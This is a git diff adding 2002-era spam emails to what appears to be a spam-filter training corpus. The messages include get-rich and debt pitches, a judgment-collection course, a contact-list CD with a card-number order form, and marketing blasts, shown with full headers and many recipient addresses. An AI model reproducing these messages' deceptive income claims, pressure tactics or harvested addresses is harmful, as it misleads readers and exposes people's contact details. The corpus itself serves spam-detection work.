    REMOVAL + INSTRUCTIONS: This message is sent in compliance with the proposed BILL + section 301, Paragraph (a) (2) (c) of S.1618. We obtain our list data from + a variety of online sources, including opt-in lists. This email is sent + by a direct email marketing firm on our behalf, and if you would rather + not receive any further information from us, please CLICK + HERE. In this way, you can instantly “opt-out” from the list + your email address was obtained from, whether this was an "opt-in" + or otherwise. Please accept our apologies if this message has reached you + in error. Please allow 5-10 business days for your email address to be removed + from all lists in our control. Meanwhile, simply delete any duplicate emails + that you may receive and rest assured that your request to be taken off + this list will be honored. If you have previously requested to be taken + off this list and are still receiving this message, you may call us at 1-(888) + 817-9902, or write to us at: Abuse Control Center, 7657 Winnetka Ave., Canoga + Park, CA 91306
    +

     

    +


    +

    + + diff --git a/bayes/spamham/spam_2/00495.88a3a957082447d2e6cad8c9cb18b3b7 b/bayes/spamham/spam_2/00495.88a3a957082447d2e6cad8c9cb18b3b7 new file mode 100644 index 0000000..132df10 --- /dev/null +++ b/bayes/spamham/spam_2/00495.88a3a957082447d2e6cad8c9cb18b3b7 @@ -0,0 +1,54 @@ +From Sheila7316x53@hotmail.com Mon Jun 24 17:07:36 2002 +Return-Path: Sheila7316x53@hotmail.com +Delivery-Date: Tue May 28 21:01:35 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4SK1YO24988 for + ; Tue, 28 May 2002 21:01:34 +0100 +Received: from hotmail.com (kbl-mdb6237.zeelandnet.nl [62.238.24.141]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g4SK1R731575 for + ; Tue, 28 May 2002 21:01:28 +0100 +Received: from sparc.zubilam.net ([146.172.86.49]) by + a231242.upc-a.zhello.nl with esmtp; Tue, 28 May 0102 11:05:33 -0300 +Received: from unknown (118.186.232.151) by sparc.zubilam.net with NNFMP; + 28 May 0102 08:00:33 +0700 +Received: from unknown (75.72.44.176) by rly-xw05.oxyeli.com with asmtp; + 28 May 0102 14:55:33 +0200 +Received: from unknown (HELO rly-xr02.nikavo.net) (75.249.246.124) by + rly-xw05.oxyeli.com with asmtp; 28 May 0102 16:50:33 +0300 +Reply-To: +Message-Id: <003b45b76c1e$6862a6d3$3da65ae7@dnvdoi> +From: +To: Preferredfriends@aol.com +Subject: Learn How To Make $8,000 within 7-14 days! 3341iYjl5-964K-13 +Date: Tue, 28 May 0102 20:37:24 -0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +Learn How To Make $8,000 within 7-14 days! + +Get out of Debt in 60 days! +Please listen to the 15 minute overview calls +at: 512-225-3201 pin 439461# +3, 5, 7 & 9 PM EST Sun-Fri + +For a detailed info, please reply and put +"Send URL" in the subject line and send it +to the address below: + +mailto:tim1@btamail.net.cn?subject=SEND_URL + +Warmest Regards! +Serious inquiries only..Product purchase required + + +PS: Please put Remove in subject box to get out +of this list. Thanks. + + +2942fRJW9-727mXIa0085fmwt1-753wssq3406iZsN1-416l44 diff --git a/bayes/spamham/spam_2/00496.acf53035be6cb4c667fd342551c5d467 b/bayes/spamham/spam_2/00496.acf53035be6cb4c667fd342551c5d467 new file mode 100644 index 0000000..d44704f --- /dev/null +++ b/bayes/spamham/spam_2/00496.acf53035be6cb4c667fd342551c5d467 @@ -0,0 +1,41 @@ +From corina-toma@webmail.co.za Mon Jun 24 17:07:39 2002 +Return-Path: corina-toma@webmail.co.za +Delivery-Date: Tue May 28 22:06:35 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4SL6YO27513 for + ; Tue, 28 May 2002 22:06:34 +0100 +Received: from webmail.co.za (IDENT:squid@vp228014.uac63.hknet.com + [202.71.228.14]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g4SL6T731871 for ; Tue, 28 May 2002 22:06:31 +0100 +Received: from smtp013.mail.yahoo.com ([11.61.180.201]) by + sydint1.microthin.com.au with SMTP; Tue, 28 May 2002 19:01:00 +0200 +Received: from unknown (155.140.146.182) by rly-xw01.mx.aol.com with SMTP; + 28 May 2002 15:53:44 +0500 +Received: from unknown (173.144.166.37) by + da001d2020.lax-ca.osd.concentric.net with SMTP; Tue, 28 May 2002 22:46:29 + -0200 +Reply-To: +Message-Id: <026a45c71a1c$4283e2a7$4bb13ac7@sbkvuc> +From: +To: Member21@mandark.labs.netnoteinc.com +Subject: your registration +Date: Tue, 28 May 2002 21:49:40 -0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: The Bat! (v1.52f) Business +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +PUBLIC ANNOUNCEMENT: + +The new .NAME domain extension is currently being released to the general public. Unlike the original .COM and .NET domain names, the new .NAME domain was specifically created for individuals such as yourself. The .NAME domain appears in the format: FirstName.LastName.NAME For example, if your name is Monica Smith, then you can register a name such as monica.smith.name Technology experts predict that personalized domain names will soon be used as international identifiers much the same was that phone numbers are used today. For a limited time, you can pre-register your unique .NAME domain for only $10 (plus applicable registry fees) at: http://www.namesforeveryone.com + + +To remove your email address from further promotional mailings from this company, click here: +http://www.centralremovalservice.com/cgi-bin/domain-remove.cgi +21 +9488ycte7-565FWHF6137iGcL4-997l28 + diff --git a/bayes/spamham/spam_2/00497.353a61b265f11dd0bae116c0149abbe1 b/bayes/spamham/spam_2/00497.353a61b265f11dd0bae116c0149abbe1 new file mode 100644 index 0000000..c059fc4 --- /dev/null +++ b/bayes/spamham/spam_2/00497.353a61b265f11dd0bae116c0149abbe1 @@ -0,0 +1,325 @@ +From usafin@insurancemail.net Mon Jun 24 17:07:50 2002 +Return-Path: usafin@insurancemail.net +Delivery-Date: Wed May 29 02:04:04 2002 +Received: from insurance-mail.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g4T143O09416 for ; Wed, 29 May 2002 02:04:04 + +0100 +Received: from mail pickup service by insurance-mail.insuranceiq.com with + Microsoft SMTPSVC; Tue, 28 May 2002 21:03:12 -0400 +Subject: Fill a Room with 300 People +To: +Date: Tue, 28 May 2002 21:03:12 -0400 +From: "USA Financial" +Message-Id: <3a4e9d01c206ac$9b18cab0$6701a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIGlvY5cCc0reMkRQuUM+85oNOslQ== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 29 May 2002 01:03:12.0884 (UTC) FILETIME=[9B43AB40:01C206AC] +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_385302_01C20675.6F2940B0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_385302_01C20675.6F2940B0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Would you like to fill a room with 300 of these people? + + ...that's what we do! + + +End All Senior Market Prospecting Problems Instantly and Painlessly! + _____ + +Get record breaking results with the USA Financial Turnkey, Worry-Free +Auto-Pilot Client Seminar Marketing System and Formula! Use the same +methods we used to get 20,898 RSVP's in only 15 short months. Learn our +secret Asset-Cycle Sales Presentation that earns $10,000-$30,000 per +client, and get free attendance to our 2-day coaching adacemy! Learn our +coveted secrets to Easily and Consistently Collect Millions & Millions +in assets! +? Average of 131 RSVP's per seminar...Over 200 Seminars Conducted + +? Average of 80% Attendance Ratio & 60% Appointment Ratio + +? Some Actual Sample RSVP's: 337 IL, 194 FL, 196 TX, 221 WI, 151 +CA, 220 PA, 158 GA +? Shared Statistics on Over a Year's Worth of Seminar Performance + +? 380 Testimonials from other Financial Advisors, Reps & Agents + + _____ + +Call our 24-hour automated response line +for your FREE report and audiotape ($97 value!) + 800-436-1631 ext. 86005 +? or ? + +Please fill out the form below for your FREE report and audiotape! + +Name: +E-mail: +Phone: +Fax: +Address: +City: State: Zip: + + + +USA Financial - www.usa-financial.com +We don't want anybody to receive our mailings who does not wish to +receive them. This is professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.InsuranceMail.net + + +Legal Notice + + +------=_NextPart_000_385302_01C20675.6F2940B0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Free Report and Audio Tape + + + + + =20 + + + =20 + + +
    =20 + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    3D"Would
    3D"...that's

    +
    + End All Senior Market Prospecting Problems Instantly and = +Painlessly!=20 +
    +     =20 +
    + Get record breaking = +results with the=20 + USA Financial=20 + Turnkey, Worry-Free Auto-Pilot Client Seminar Marketing = +System and=20 + Formula! Use the same methods we used to get 20,898 RSVP's = +in only=20 + 15 short months. Learn our secret Asset-Cycle Sales = +Presentation that=20 + earns $10,000-$30,000 per client, and get free attendance to = +our 2-day=20 + coaching adacemy! Learn our coveted secrets to Easily and = +Consistently=20 + Collect Millions & Millions in assets!     +
    + =20 + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + +
    •Average of 131 RSVP's per seminar...Over 200 Seminars = +Conducted
    •Average of 80% Attendance Ratio & 60% Appointment = +Ratio
    •Some Actual Sample RSVP's: 337 IL, 194 FL, 196 TX, 221 = +WI, 151 CA, 220 PA, 158 GA
    •Shared Statistics on Over a Year's Worth of Seminar = +Performance
    •380 Testimonials from other Financial Advisors, Reps = +& Agents
    +     =20 +
    +
    + Call our 24-hour automated response line
    + for your FREE report and = +audiotape ($97=20 + value!)
    + 3D"800-436-1631 +
    — or —
    + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please fill out the form below = +for your FREE report and audiotape!
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    Fax:=20 + +
    Address:=20 + +
    City:=20 + + State:=20 + + Zip:=20 + +
     =20 + +  =20 + + +
    +
    +  
    + 3D"USA=20 +
    +
    =20 +

    We=20 + don't want anybody to receive our mailings who does not wish to = +receive=20 + them. This is professional communication sent to insurance = +professionals.=20 + To be removed from this mailing list, DO NOT REPLY to = +this message.=20 + Instead, go here: http://www.InsuranceMail.net

    +
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    + + + + + diff --git a/bayes/spamham/spam_2/00507.f60aebf11f7c66427490b14ff65f4c90 b/bayes/spamham/spam_2/00507.f60aebf11f7c66427490b14ff65f4c90 new file mode 100644 index 0000000..229c86d --- /dev/null +++ b/bayes/spamham/spam_2/00507.f60aebf11f7c66427490b14ff65f4c90 @@ -0,0 +1,390 @@ +From morindin176@association.co.uk Mon Jun 24 17:07:48 2002 +Return-Path: morindin176@association.co.uk +Delivery-Date: Wed May 29 01:54:37 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4T0sTO09090 for + ; Wed, 29 May 2002 01:54:29 +0100 +Received: from smtp13.singnet.com.sg (smtp13.singnet.com.sg [165.21.6.33]) + by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4T0sP732545 + for ; Wed, 29 May 2002 01:54:26 +0100 +Received: from mhrmail.meritus-hotels.com (ad202.166.14.123.magix.com.sg + [202.166.14.123]) by smtp13.singnet.com.sg (8.12.3/8.12.3) with ESMTP id + g4T0oiKO017209; Wed, 29 May 2002 08:50:44 +0800 +Received: by TMS_NTSERVER with Internet Mail Service (5.5.2653.19) id + ; Wed, 29 May 2002 08:53:16 +0800 +Received: from alpha.futurenet.co.za (202.164.166.132 [202.164.166.132]) + by mhrmail.meritus-hotels.com with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2653.13) id LZ589YRA; Wed, 29 May 2002 08:52:38 +0800 +From: morindin176@association.co.uk +Reply-To: jake_29103415@westlondonexpress.co.uk +To: skatersw@yahoo.com, diane_smyth@hotmail.com, soxsublime@earthlink.net, + brian.dickman@miramax.com, mckcent@worldnet.att.net, + debrariding@address.com, kites@sneplanet.com, srplanner@yahoo.com, + kirk@sneplanet.com, jm@netnoteinc.com, jkrieg@themail.com, + ggerdes@yahoo.com, albertcarla@hotmail.com, q_mi6@hotmail.com, + pigglet68@hotmail.com, mi_a50@hotmail.com +Cc: bobstrong@themail.com, skraud@hotmail.com, quentin@miramax.net, + mccormickdk@yahoo.com, popoki2@hotmail.com, joduch@hotmail.com, + debrarink@address.com, delane4u@yahoo.com, glickman@miramax.com, + gs79@hotmail.com, williamking@yahoo.com, ahijab@themail.com, + alexluce@hotmail.com, mckchris@worldnet.att.net, davidf@sneplanet.com, + debdidit@earthlink.net +Message-Id: <00007d146312$00004873$00001351@berka.zaman.com.tr> +Subject: Info you requested KCC +Date: Tue, 28 May 2002 17:48:55 -1900 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +

    Thank you for = +your interest!
    +
    +Judgment Coursesoffers an extensive training
    +course in     "How to Collect = +MoneyJudgments"
    +
    +If you are like many people, you are not even sure what a
    +Money Judgment is and     why processing Money = +Judgments
    +can earn you very substantial income     = +.
    +
    +If you ever sue a company or a person and you win then you
    +will have a Money Judgment against them.
    +
    +You are happy you won but you will soon find out the
    +shocking fact: "Its now up to you to collect on the
    +Judgment". The court does not require the loser to pay you.
    +The court will not even help you. You must trace the loser
    +down, find their assets, their employment, bank accounts,
    +real estate, stocks and bonds, etc.
    + +
    +Very few people know how to find these assets or what to do
    +when they are found. The result is that millions of
    +Judgments are just sitting in files and being forgotten.
    +
    +"In 79% of the cases the winner of a Judgment never sees a
    +dime."
    +
    +The non-payment of judicial debt has grown to epidemic
    +proportions. Right now in the United States there is
    +between     200 and 300 billion = +dollars of uncollectedMoney
    +Judgment debt     . = +For every Judgment that is paid, 5more
    +Judgments take its place.
    +
    +We identified this massive market 8 years ago and have
    +actively pursued Judicial Judgments since. We invented this
    +business. We have perfected it into a well proven and solid
    +profession in which only a select few will be trained in the
    +techniques necessary to succeed.
    +
    +With our first hand experience we have built a course which
    +teaches you how to start your business in this new unknown
    +and exciting field of processing Money Judgments.
    +
    +By following the steps laid out in our course and with
    +reasonable effort you can become very successful in the
    +processing of Money Judgments.
    +
    +The income potential is substantial in this profession.     = +We
    +have associates who have taken our course and are now
    +working full time making $96,000.00 to over $200,000.00 per
    +year. Part time associates are earning between $24,000.00
    +and $100,000.00 per year     = +. Some choose to = +operateout of
    +their home and work by themselves. Others build a sizable
    +organization of 15 to 25 people in attractive business
    +offices.
    +
    +Today our company and our associates have over 126
    +million dollars in Money Judgments that we are currently
    +processing. Of this 126 million, 25 million is in the form
    +of joint ventures between our firm and our associates.
    +Joint ventures are where we make our money. We only break
    +even when our course is purchased. We make a 12% margin on
    +the reports we supply to our associates. Our reporting
    +capability is so extensive that government agencies, police
    +officers, attorneys, credit agencies etc., all come to us
    +for reports.
    +
    +
    +Many of our associates already have real estate liens in
    +force of between 5 million to over 15 million dollars.
    +Legally this means that when the properties are sold or
    +refinanced our associate must be paid off. The norm is 10%
    +interest compounded annually on unpaid Money Judgments.
    +Annual interest on 5 million at 10% translates to
    +$500,000.00 annually in interest income, not counting the
    +payment of the principal.
    +
    +Our associates earn half of this amount or $250,000.00 per
    +year. This is just for interest, not counting principle
    +and not counting the compounding of the interest which can
    +add substantial additional income. Typically companies are
    +sold for 10 times earnings. Just based on simple interest
    +an associate with 5 million in real estate liens could sell
    +their business for approximately 2.5 million dollars.
    +
    +92% of all of our associates work out of their home; 43%
    +are women and 36% are part time .
    +
    +One of the benefits of working in this field is that you are
    +not under any kind of time frame. If you decide to take off
    +for a month on vacation then go. The Judgments you are
    +working on will be there when you return. The Judgments
    +are still in force, they do not disappear.
    +
    +The way we train you is non-confrontational. You use your
    +computer and telephone to do most of the processing. You
    +never confront the debtor. The debtor doesn't know who you
    +are. You are not a collection agency.
    +
    +Simply stated the steps to successful Money Processing
    +are as follows:
    +
    +Mail our recommended letter to companies and individuals
    +with Money Judgments. (We train you how to find out who
    +to write to)
    +
    +8% to 11% of the firms and people you write will call you
    +and ask for your help. They call you, you don't call them
    +unless you want to.
    +
    +You send them an agreement (supplied in the course) to
    +sign which splits every dollar you collect 50% to you and
    +50% to them. This applies no matter if the judgment is for
    +$2,000.00 or $2,000,000.00.
    +
    +You then go on-line to our computers to find the debtor
    +and their assets. We offer over 120 powerful reports to
    +assist you. They range from credit reports from all three
    +credit bureaus, to bank account locates, employment
    +locates, skip traces and locating stocks and bonds, etc.
    +The prices of our reports are very low. Typically 1/2 to
    +1/3 of what other firms charge. For example we charge
    +$6.00 for an individuals credit report when some other
    +companies charge $25.00.
    +
    +Once you find the debtor and their assets you file
    +garnishments and liens on the assets you have located.
    +(Standard fill in the blanks forms are included in the
    +course)
    +
    +When you receive the assets you keep 50% and send 50% to
    +the original Judgment holder.
    +
    +Once the Judgment is fully paid you mail a Satisfaction of
    +Judgment to the court. (Included in the course)
    +
    +Quote's from several of our students:
    +
    +Thomas in area code 516 writes us: "I just wanted to drop
    +you a short note thanking you for your excellent course.     My
    +first week, part time, will net me 3,700.00 dollars     = +.Your
    +professionalism in both the manual and your support.
    +You have the video opened doors for me in the future.
    +There's no stopping me now. Recently Thomas states
    +he has over $8,500,000 worth of judgments he is working on"
    +
    +After only having this course for four months, Larry S. in
    +area code 314 stated to us:     "I am now = +making $2,000.00 per
    +week     and = +expect this to grow to twice this amountwithin the
    +next year. I am having a ball. I have over $250,000 in
    +judgments I am collecting on now"
    +
    +After having our course for 7 months Larry S. in 314 stated
    +"I am now making $12,000.00 per month and have approximately
    +$500,000.00 in judgments I am collecting on. Looks like I
    +will have to hire someone to help out"
    +
    +Marshal in area code 407 states to us "I feel bad, you only
    +charged me $259.00 for this course and it is a goldmine. I
    +have added 3 full time people to help me after only having
    +your course for 5 months"
    +
    +>From the above information and actual results you can see
    +why we can state the following:
    +
    +With our course you can own your own successful business.
    +A business which earns you substantial income now and one
    +which could be sold in 3-5 years, paying you enough to
    +retire on and travel the world. A business which is
    +extremely interesting to be in. A Business in which every
    +day is new and exciting.
    +
    +None of your days will be hum-drum. Your brain is
    +Challenged. A business, which protects you from Corporate
    +Downsizing. A business which you can start part time from
    +your home and later, if you so desire, you can work in full
    +time. A business, which is your ticket to freedom from
    +others telling you what to do. A business, which lets you
    +control your own destiny. Our training has made this happen
    +for many others already. Make it happen for you!
    +
    +If the above sounds interesting to you then its time for you
    +to talk to a real live human being, no cost or obligation
    +on your part.
    +
    +    Please call us at = +1-281-500-4018    .
    +
    +We have Service Support     staff = +available to you from 8:00am to
    +10:00pm (Central Time) 7 days a week     . If you callthis number
    +you can talk to one of our experienced Customer Support personnel.
    +They can answer any questions you may have - with no obligation.
    +Sometimes we run special pricing on our courses and combinations
    +of courses. When you call our Customer Support line they can let
    +you know of any specials we may be running. If you like what you
    +read and hear about our courses, then the Customer Support person
    +can work with you to place your order. We are very low key. We
    +merely give you the facts and you can then decide if you want to
    +work with us or not.
    +
    +Thank you for your time and interest.
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +    +++++
    +This ad is produced and sent out by:
    +UAS
    +To be excluded from our mailing list please email us at eds@saiyan.com = +with "exclude" in the sub-line.
    +or write us at:AdminScript-Update, P O B 1 2 0 0, O r a n g e s t a d, = +A r u b a
    +++++++
    +
    +
    +
    +
    +
    +
    +
    +
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    +
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    -SSPLTM- 30 =20 +
    + + diff --git a/bayes/spamham/spam_2/00508.a5b222ad6078c7242f6c73333e009d98 b/bayes/spamham/spam_2/00508.a5b222ad6078c7242f6c73333e009d98 new file mode 100644 index 0000000..f78f0ab --- /dev/null +++ b/bayes/spamham/spam_2/00508.a5b222ad6078c7242f6c73333e009d98 @@ -0,0 +1,99 @@ +From abl1l1l231ink@btamail.net.cn Mon Jun 24 17:08:45 2002 +Return-Path: abl1l1l231ink@btamail.net.cn +Delivery-Date: Fri May 31 03:03:55 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4V23rO11117 for + ; Fri, 31 May 2002 03:03:54 +0100 +Received: from email.promin.gov.ar ([209.13.142.6]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4V23p710405 for + ; Fri, 31 May 2002 03:03:51 +0100 +Message-Id: <200205310203.g4V23p710405@mandark.labs.netnoteinc.com> +Received: from QRJATYDI (213-96-125-231.uc.nombres.ttd.es + [213.96.125.231]) by email.promin.gov.ar with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2650.21) id LL5YW08N; Wed, + 29 May 2002 11:46:29 -0300 +From: "US Businesses" +To: +Subject: 17 mln US Businesses on CD ++ +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.0 +Date: Wed, 29 May 2002 16:54:6 +0300 +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-2" +X-Keywords: + +We offer a product that will let you develop a customer base for your business in no time. We have compiled information over the Internet on every US business. One single CD contains data on 12 million US companies - sorted by Yellow Pages Categories and SIC Codes. + +Accuracy? Freshness? We have sold thousands of CDs, and haven't had one complaint. We are committed to deliver the best quality data that is highly rewarding to your business. How? + +- Fill out your address book with every company related to your business. +- Select companies within your area, or across the whole USA. +- Create a web site - just put our data in HTML format. +- Thinking big? Create your own complete USA Yellow Pages Web Site. +- Compare and update your old database with our CD. Keep it fresh. +- Promote your products and services, send out your brochures and catalogs. + +There are endless possibilities how to use the CD. + +As a bonus we include complete information on 5 mln US Domain Names Owners with email addresses from WHOIS databases. Each record contains the following data: Domain Name, Company Name, Registrant Name, Registrant Email, Registrant Address, Phone and Fax numbers. + +The CD comes with the software that allows you to import data into your database in 1-2-3 easy steps. Unlimited usage, no restrictions on importing data into your database. Format: ASCII comma separated "," + +The Price is $349.00 ONLY!!! Free Shipping. Same Day Shipping. + +We are accepting credit card or check orders. Call us to place the order, or complete the form below, print and fax the form, or mail it to the address below. + +ORDER LINE: 1-786-258-2394 + +VIA FAX: 1-954-563-6949 + +OR MAIL TO: +0-0 DataNetwork +2805 E. Oakland Park Blvd., #406 +Fort Lauderdale, FL 33306 USA + + +* * * Please copy and paste form order, fill out, print, sign, and mail or fax to us. + +Please Send Me "US BUSINESSES & US DOMAINS CD" for $349.00 (US) plus s/h. + +*Name: +*Company Name: +*Shipping Address: +*City: +*State/Province: +*Postal Code: +*Country: +*Telephone: +*Fax: +*E-mail Address: + +Card Type: MasterCard [ ] Visa [ ] AmEx [ ] Discover [ ] + +*Credit Card Number: +*Expiration Date: + +*Shipping/Handling: $Free - in the USA, $25.00 - Overnight [ ]; Overseas [ ]; C.O.D. [ ]. + +*TOTAL ORDER: $ + +*I authorize "0-0 DataNetwork" to charge my credit card for 'US BUSINESSES & US DOMAINS CD' in the amount of $__________ . + + + +*Date: *Signature: + + +*Name as appears on Card: +*Billing Address: +*City, State & Postal Code: + +========================================================= +We apologize if this message was intrusive. +We guarantee you will never again hear from us. +Just click here to be removed REMOVE or reply back with Subject REMOVE. +Thank You. +* * * + + diff --git a/bayes/spamham/spam_2/00509.385c788f39e46a86be4c6af8679a0c80 b/bayes/spamham/spam_2/00509.385c788f39e46a86be4c6af8679a0c80 new file mode 100644 index 0000000..0d3177e --- /dev/null +++ b/bayes/spamham/spam_2/00509.385c788f39e46a86be4c6af8679a0c80 @@ -0,0 +1,99 @@ +From abl1l1l231ink@btamail.net.cn Mon Jun 24 17:08:08 2002 +Return-Path: abl1l1l231ink@btamail.net.cn +Delivery-Date: Wed May 29 19:36:31 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4TIaUO18912 for + ; Wed, 29 May 2002 19:36:31 +0100 +Received: from email.promin.gov.ar ([209.13.142.6]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4TIaN704034 for + ; Wed, 29 May 2002 19:36:27 +0100 +Message-Id: <200205291836.g4TIaN704034@mandark.labs.netnoteinc.com> +Received: from QRJATYDI (213-96-125-231.uc.nombres.ttd.es + [213.96.125.231]) by email.promin.gov.ar with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2650.21) id LL5YW08N; Wed, + 29 May 2002 11:46:29 -0300 +From: "US Businesses" +To: +Subject: 17 mln US Businesses on CD ++ +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.0 +Date: Wed, 29 May 2002 16:54:6 +0300 +MIME-Version: 1.0 +Content-Type: text/plain; charset="ISO-8859-2" +X-Keywords: + +We offer a product that will let you develop a customer base for your business in no time. We have compiled information over the Internet on every US business. One single CD contains data on 12 million US companies - sorted by Yellow Pages Categories and SIC Codes. + +Accuracy? Freshness? We have sold thousands of CDs, and haven't had one complaint. We are committed to deliver the best quality data that is highly rewarding to your business. How? + +- Fill out your address book with every company related to your business. +- Select companies within your area, or across the whole USA. +- Create a web site - just put our data in HTML format. +- Thinking big? Create your own complete USA Yellow Pages Web Site. +- Compare and update your old database with our CD. Keep it fresh. +- Promote your products and services, send out your brochures and catalogs. + +There are endless possibilities how to use the CD. + +As a bonus we include complete information on 5 mln US Domain Names Owners with email addresses from WHOIS databases. Each record contains the following data: Domain Name, Company Name, Registrant Name, Registrant Email, Registrant Address, Phone and Fax numbers. + +The CD comes with the software that allows you to import data into your database in 1-2-3 easy steps. Unlimited usage, no restrictions on importing data into your database. Format: ASCII comma separated "," + +The Price is $349.00 ONLY!!! Free Shipping. Same Day Shipping. + +We are accepting credit card or check orders. Call us to place the order, or complete the form below, print and fax the form, or mail it to the address below. + +ORDER LINE: 1-786-258-2394 + +VIA FAX: 1-954-563-6949 + +OR MAIL TO: +0-0 DataNetwork +2805 E. Oakland Park Blvd., #406 +Fort Lauderdale, FL 33306 USA + + +* * * Please copy and paste form order, fill out, print, sign, and mail or fax to us. + +Please Send Me "US BUSINESSES & US DOMAINS CD" for $349.00 (US) plus s/h. + +*Name: +*Company Name: +*Shipping Address: +*City: +*State/Province: +*Postal Code: +*Country: +*Telephone: +*Fax: +*E-mail Address: + +Card Type: MasterCard [ ] Visa [ ] AmEx [ ] Discover [ ] + +*Credit Card Number: +*Expiration Date: + +*Shipping/Handling: $Free - in the USA, $25.00 - Overnight [ ]; Overseas [ ]; C.O.D. [ ]. + +*TOTAL ORDER: $ + +*I authorize "0-0 DataNetwork" to charge my credit card for 'US BUSINESSES & US DOMAINS CD' in the amount of $__________ . + + + +*Date: *Signature: + + +*Name as appears on Card: +*Billing Address: +*City, State & Postal Code: + +========================================================= +We apologize if this message was intrusive. +We guarantee you will never again hear from us. +Just click here to be removed REMOVE or reply back with Subject REMOVE. +Thank You. +* * * + + diff --git a/bayes/spamham/spam_2/00510.ce04ead27e498e82285ea6dbb0837c13 b/bayes/spamham/spam_2/00510.ce04ead27e498e82285ea6dbb0837c13 new file mode 100644 index 0000000..eeb115b --- /dev/null +++ b/bayes/spamham/spam_2/00510.ce04ead27e498e82285ea6dbb0837c13 @@ -0,0 +1,55 @@ +From info@resumevalet.com Mon Jun 24 17:08:09 2002 +Return-Path: info@resumevalet.com +Delivery-Date: Wed May 29 19:53:39 2002 +Received: from toon.fws.net (ns5.fws.net [63.98.244.8]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4TIrdO19570 for + ; Wed, 29 May 2002 19:53:39 +0100 +Received: from wagl03 ([63.98.244.226]) by toon.fws.net with Microsoft + SMTPSVC(5.0.2195.4905); Wed, 29 May 2002 11:58:31 -0700 +To: yyyy-cv@spamassassin.taint.org +From: "ResumeValet" +Subject: adv: Put your resume back to work +Date: Wed, 29 May 2002 11:59:02 -0700 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Message-Id: +X-Originalarrivaltime: 29 May 2002 18:58:31.0218 (UTC) FILETIME=[D3302920:01C20742] +X-Keywords: +Content-Transfer-Encoding: 7bit + +Dear Candidate, + +We recently came across a posting of your resume on the Internet. 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    +

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    + To take + advantage of these fantastic World Cup offers click here
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    + *Offer ends June 9th. You can't miss it.
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    + + + +--1715101671.1022782885778.JavaMail.root.smtp4-- + diff --git a/bayes/spamham/spam_2/00521.70417de823222858b4100b6030a64168 b/bayes/spamham/spam_2/00521.70417de823222858b4100b6030a64168 new file mode 100644 index 0000000..8a85131 --- /dev/null +++ b/bayes/spamham/spam_2/00521.70417de823222858b4100b6030a64168 @@ -0,0 +1,27 @@ +From sPVF2.zzdEHsQ_VS@emarketinggurus.com Mon Jun 24 17:08:40 2002 +Return-Path: sPVF2.zzdEHsQ_VS@emarketinggurus.com +Delivery-Date: Thu May 30 22:17:29 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4ULHTO23754 for + ; Thu, 30 May 2002 22:17:29 +0100 +Received: from www ([209.197.195.1]) by mandark.labs.netnoteinc.com + (8.11.2/8.11.2) with ESMTP id g4ULHR709671 for ; + Thu, 30 May 2002 22:17:28 +0100 +Date: Thu, 30 May 2002 22:17:28 +0100 +Message-Id: <200205302251.g4UMpoq04264@www> +Content-Disposition: inline +Content-Type: text/plain +MIME-Version: 1.0 +X-Mailer: MIME::Lite 1.3 +From: dec0IQtF +To: "wX8ddy2." +Cc: +Subject: FREE ADULT DVD!!! 9We-hbi +X-Keywords: 